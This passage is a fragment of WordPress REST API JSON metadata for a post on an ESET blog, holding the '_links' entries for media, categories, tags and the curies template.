:[{"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/media?parent=9101"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/categories?post=9101"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/tags?post=9101"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}